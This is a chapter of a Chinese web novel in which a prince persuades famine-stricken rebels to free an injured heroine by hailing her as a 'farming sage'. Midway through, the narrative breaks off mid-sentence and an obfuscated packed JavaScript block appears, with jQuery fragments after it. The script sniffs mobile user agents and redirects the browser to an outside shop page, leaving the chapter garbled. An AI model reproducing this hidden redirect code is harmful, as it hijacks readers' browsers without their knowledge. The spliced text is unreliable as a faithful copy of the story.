10. 第十章

作品:《靠种地养了个王爷

    短短几天?


    她在李家村待了快一个星期好吗!


    而且也不是什么起死回生,就是用了些现代的农业知识,改良了灌溉方法,再加上精心照料,才把那些庄稼救回来一些。


    但转念一想,姜禾便明白了萧昫的意图。他这是在故意抬高她的身份,提升她在灾民心中的地位和威望,让他们更容易相信服从,当然主要还是为接下来的抗旱措施铺路造势。


    萧昫见已有人面露信服之色,继续道:“高平县的百姓们感激涕零,逢人就说姜农圣的恩德。朝廷听说了这事,立刻就想到了咱们祖厉也遭了旱灾,于是千请万请,好不容易才把姜农圣从高平请过来,就是要她帮忙指导农事,教大家抗旱保粮的。”


    萧昫叹了口气,看向吴兴:“结果人才刚到,就被你们这一通乱打,把人给得罪狠了不愿意帮忙了,今年祖厉的收成怎么办?这么多的灾民怎么办?”


    萧昫脸不红心不跳地胡扯,要不是姜禾是当事人,说不定都要信了。姜禾看了眼吴兴,只见他瞪着眼睛,一副不知该如何反应的模样,显然被这突如其来的信息砸懵了。


    眼下局势紧张,萧昫既然给她挖了这个坑,她也只能跳了。姜禾轻咳一声,主动接过话,道:“大人言重了,我不过是略懂些农事,不敢称农圣。”


    她这话说得谦虚,但配合着萧昫刚才那番夸张的铺垫,反而更显得高深莫测。


    吴兴狐疑地盯着她:“什么姜农圣?我怎么从来没听说过?肯定是你们合起伙来唬人的。”


    “唬你?”姜禾冷笑:“我唬你做什么?你好好想想,你们是在哪里遇见我的?我当时在做什么?”


    吴兴愣了愣,开始回忆起来。他们是在田边遇到姜禾的,当时她蹲在地上,好像是在观察那些半死不活的庄稼。而且身边还跟着好几个护卫,一看就不是寻常人家。正因如此,他们才动了劫掠的心思。


    不等他回答,姜禾又继续问道:“若我只是个普通闺阁女子,何故要跑去田里看庄稼?”


    吴兴张了张嘴,一时语塞。


    姜禾趁热打铁:“还有,我被你们绑了,你以为我凭什么认定官府会拿粮换我?你以为我是哪来的底气?”


    这话一出,吴兴脸色一变,似是想起了什么,突然指向郑安,道:“是这个人说你是钦差大人的内眷,我们才想着绑了你换粮食的。”


    姜禾:“……”


    这下还真把姜禾给问住了,主要谁能想到萧昫突然来这么一出,农圣这话都出来了。不过内眷什么的确实也挺离谱,不知道郑安怎么想的,胡口乱诌了个这。


    当然,这些事就不是吴兴需要知道的了。


    姜禾想了想,道:“你也不好好想想,我若是钦差大人的内眷,高门贵妇怎会随意抛头露面,又怎么可能懂得这些庄稼地里的事情?这根本说不通。”


    吴兴抓住之前的破绽,不依不饶道:“那你即是农圣,又为何谎称别人内眷?这更说不通,你们就是骗子,想合起伙来骗我们这些普通老百姓。”


    姜禾:“……”


    得,又绕回来了。


    这个坑她是填不上了,谁捅的篓子谁自己收拾。


    姜禾没有说话,隔着好几圈围观的人群,朝远处的萧昫看了过去。


    萧昫正好对上她嗔怒的目光,瞬间明白了她的意思,忙岔开了话题,道:“吴兴,你是个庄稼人,应该明白庄稼对老百姓意味着什么。你抢粮是为了活命,我能理解。但粮食总有吃完的一天,到时候又该怎么办?”


    “你别转移话题!”吴兴还想追问,“你们……”


    “可若是能把庄稼救活,那才是真正的活路。”萧昫直接打断了他,道:“有了收成,就有吃不完的粮食。你想想,是眼前这点粮食重要,还是今年的收成重要?”


    吴兴嘴巴张了张,后面的话却卡在了喉咙里。这个女的是谁的内眷和他又有什么关系,说到底他最在乎的还是粮食,源源不断的粮食。如今他虽成了亡命徒,但根子里还是面朝黄土背朝天的农夫。要不是连年旱灾,颗粒无收,一家老小活活饿死,他也不至于走到这一步。


    萧昫见吴兴动摇了,继续道:“姜农圣来祖厉,是为了帮大家保住收成的。可你们倒好,把人绑了,还打成这样。万一她一气之下不干了,你让我去哪再请一个农圣回来?”


    农圣什么的虽说有些夸张,但不得不说,萧昫的这番话确实很有效果。灾民们开始窃窃私语,看向姜禾的目光也多了几分不同。


    “我听说过高平县的事!”突然有人喊道:“我表哥就在高平刘家村,前些日子还捎信来,说他们那边来了个年轻姑娘,教他们改良耕种,救活了不少庄稼。”


    接着又有一个年轻妇人挤了出来,指着姜禾,激动道:“是姜姑娘,我认得她!她今天在城外分给我们不少水和干粮,还教我们辨认野菜,说哪些能吃哪些有毒。要不是她,我家孩子早就饿晕了!”


    越来越多受过姜禾帮助的人站了出来为她说话,还称她为姜农圣,把姜禾夸得都有点找不着北了。


    萧昫趁机道:“吴兴,你也听见了。无论是在高平还是祖厉,姜农圣都在努力帮大家。这样的人,你们还要绑着不放吗?”


    人群彻底倒向姜禾。


    “赶紧把姜农圣放了!”


    “姜农圣是来帮咱们的,你这是恩将仇报!”


    就连帮着吴兴的几人也纷纷劝说道:“吴兴,咱们抢粮是为了活命,现在有更好的法子,干嘛还要得罪能人?万一她真能把庄稼救活,咱们也不用当亡命徒了,不是吗。”


    吴兴环顾四周,看着那些曾经和他一起抢粮的同伴,如今一个个眼中都透着犹豫和期盼。


    都是庄稼汉,不到万不得已,谁不想有个正经活路呢?


    吴兴颓然地后退一步,松开了手里的绳子。


    周围剑拔弩张的气氛稍稍缓和了些。


    郑安见状,这才敢上前,手起刀落,缠在姜禾身上的绳索瞬间断成数截。


    勒在脖颈处的绳子骤然松开,姜禾下意识想深吸口气,不料肋骨处传来一阵剧痛,疼得她直接跪了下去。


    “姜姑娘!”


    郑安和几个侍卫齐刷刷围了上来,却又齐刷刷停在三步之外,一个个伸着手又不敢真伸,就那么干站着。


    姜禾撑着地面,想要站起来,却发现双腿发软根本使不上力气。


    她缓了口气,抬头看了看围成一圈的几个大男人。


    一个个人高马大的,就这么眼睁睁看着她跪在地上,愣是没一个有搭把手意思的。


    姜禾有些无奈,主动开口道:“郑副将可否搭把手,我实在是没力


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971607|193470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气了。”


    郑安应声点头,忙上前一步,结果手伸到一半,突然僵在了半空。然后,又默默收了回去。


    姜禾:“???”


    正纳闷间,姜禾余光瞥见吴兴缓缓走了过来,神色复杂地看着她。


    下一刻,扑通一声,直直跪倒在她面前。


    姜禾一愣。


    “姜、姜农圣……”吴兴额头抵着地面,“草民该死,草民有眼无珠,这才冲撞了……”


    姜禾:“……”


    姜禾心里冷笑。


    冲撞?这是冲撞这么简单吗?


    是把她打了个半死,还绑着拖到衙门口当人质,绳子勒得她脖子都快断了,任谁被打成这样也不可能没脾气吧。


    姜禾气得深吸口气,疼!


    浅呼口气,还是疼!


    不是,现在是说这个的时候吗?


    能不能来个人先把她从地上扶起来!


    能不能先给她找个大夫过来瞧瞧伤势!


    她快痛死了。


    吴兴还在喋喋不休。说什么他家原本在城外有几亩地,虽不算多,但一家五口勉强能吃饱。可连年大旱,颗粒无收。全家人都饿死了,最后连他那才五岁的儿子也……说到后面说不下去了,捂着脸哭了起来,周围的灾民感同身受,也跟着一起抹眼泪。


    “谁家不是这样呢?我表哥一家七口,现在就剩三个了。”


    吴兴擦了擦眼泪,还在继续:“我知道自己错的不轻,是打是罚都认了。可求您……求您救救大家吧,不要因为我的过错迁怒大家。”


    说完,他重重地磕了三个头,额头都磕出了血。跟着他绑人的几个灾民也纷纷跪下:“姜农圣,求您救救我们吧!”


    姜禾看着跪了一地的人,心里五味杂陈。


    但是……她好痛啊,连呼吸都是痛的,真的需要立刻、马上接受医生,哦古代叫大夫,接受大夫的治疗啊。


    而且,有什么话不能站着说吗?


    这些人一言不合就下跪的毛病,真的得治。


    姜禾叹了口气,道:“我既然来了,就会尽力帮大家的。”


    吴兴满怀希望地抬起头,道:“您、您真的愿意帮我们?”


    “自然。”姜禾又叹了口气,不想多说,因为多说一个字,她就多痛一分。但看着这跪成一排的众人,还是强忍着疼痛,道:“都起来吧。”


    话虽如此,但众人见她还跪在地上,也都没有一个人起身。


    姜禾:“……”


    萧昫这时也走到了近前。


    姜禾看到他,心下总算松了口气。


    萧昫在她面前蹲下身,目光落在她脸上,眼中闪过一丝不易察觉的心疼。他伸出手扶住姜禾的手臂,动作放得很轻,生怕弄疼了她。


    “慢些。”


    姜禾借力起身,可刚一动就牵扯到伤口,疼得她倒吸了口气,身子不受控制地往旁边倒去。


    萧昫下意识伸手揽住她的腰,将她稳稳扶住。


    两人靠得很近,近到姜禾能感受到他的呼吸拂过耳际,能闻到他身上的淡淡清香,不知道是什么香,冷冽中透着几分暖意,像是冬日里的太阳。


    萧昫顿了顿,似是也感受到了什么,但没有松手。


    过了片刻,才低声问:“如何?还能站得起来吗?”